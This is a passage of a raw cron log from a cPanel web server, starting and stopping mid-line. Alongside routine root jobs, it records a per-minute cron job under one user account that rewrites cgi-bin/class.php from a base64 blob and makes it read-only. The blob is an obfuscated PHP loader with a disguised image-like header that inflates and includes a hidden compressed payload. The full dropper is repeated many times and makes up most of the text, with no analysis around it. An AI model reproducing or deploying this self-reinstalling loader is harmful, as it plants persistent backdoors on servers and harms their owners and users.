aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:05:01 server CROND[22402]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 02:05:01 server CROND[22399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:05:01 server CROND[22403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:05:01 server CROND[22404]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:06:01 server CROND[23416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:06:01 server CROND[23417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:06:01 server CROND[23418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:07:01 server CROND[23794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:07:01 server CROND[23795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:07:01 server CROND[23796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:08:01 server CROND[24176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:08:01 server CROND[24177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:08:01 server CROND[24178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:09:01 server CROND[24547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:09:01 server CROND[24549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:09:01 server CROND[24548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:09:01 server CROND[24550]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 02:10:01 server CROND[25030]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:10:01 server CROND[25031]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:10:01 server CROND[25036]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:10:01 server CROND[25035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:10:01 server CROND[25034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:10:01 server CROND[25038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:10:01 server CROND[25039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:10:01 server CROND[25037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:11:01 server CROND[25890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:11:01 server CROND[25891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:11:01 server CROND[25892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:12:01 server CROND[26255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:12:01 server CROND[26256]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 02:12:01 server CROND[26257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:12:01 server CROND[26258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:13:01 server CROND[26628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:13:01 server CROND[26629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:13:01 server CROND[26630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:14:01 server CROND[27011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:14:01 server CROND[27013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:14:01 server CROND[27014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:15:01 server CROND[27494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:15:01 server CROND[27496]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:15:01 server CROND[27503]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 02:15:01 server CROND[27512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:15:01 server CROND[27514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:15:01 server CROND[27515]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 02:15:01 server CROND[27513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:15:01 server CROND[27511]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:15:01 server CROND[27516]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:16:01 server CROND[28360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:16:01 server CROND[28361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:16:01 server CROND[28362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:17:01 server CROND[28734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:17:01 server CROND[28733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSB